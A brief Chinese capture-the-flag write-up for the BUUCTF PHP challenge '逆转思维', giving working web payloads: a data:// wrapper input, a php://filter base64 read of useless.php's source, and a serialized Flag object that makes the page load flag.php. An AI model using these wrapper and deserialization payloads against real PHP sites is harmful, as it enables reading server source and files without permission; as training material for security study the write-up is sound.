buuctf 逆转思维
打开源码
按步骤get两个参数,第一个text内容为等号后面的welcome to the zjctf
file_get_contents:此函数可以读取本地文件,模拟POST请求,还可以打开一个网络地址实现简单的网页抓取
粗略观察这道题可能用的是模拟post请求或者是读取文件,我先试着是不是post请求,
但水平不够用了一些时间没事出来
那就试试读取文件的用法
用到一个小知识点,php伪协议中的data用法
示例: data://text/plain;base64,
data协议通常是用来执行PHP代码,但我们可以将内容写入data协议中然后让file_get_contents函数取读取
构造payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
base64的使用是因为一般的伪协议过滤都会用到base64,因此选择还是加密下
第二个参数需要get一个file 具体要求为正则过滤掉了flag,这里有一个useless.php 用php://filter协议来读取
加入一个知识点:
php://filter用于读取源码
php://input用于执行php代码
构造payload: file=php://filter/read=convert.base64-encode/resource=useless.php
里面一串base64编码,将其解密
还是一段源码
将flag调用,然后给里面file值赋值为flag.php。
序列化后传入password
https://www.cnblogs.com/20175211lyz/p/11403397.html 这是一个介绍ctf php反序列化的博客
执行后会出现结果 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
所以,最终的payload为
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
得到flag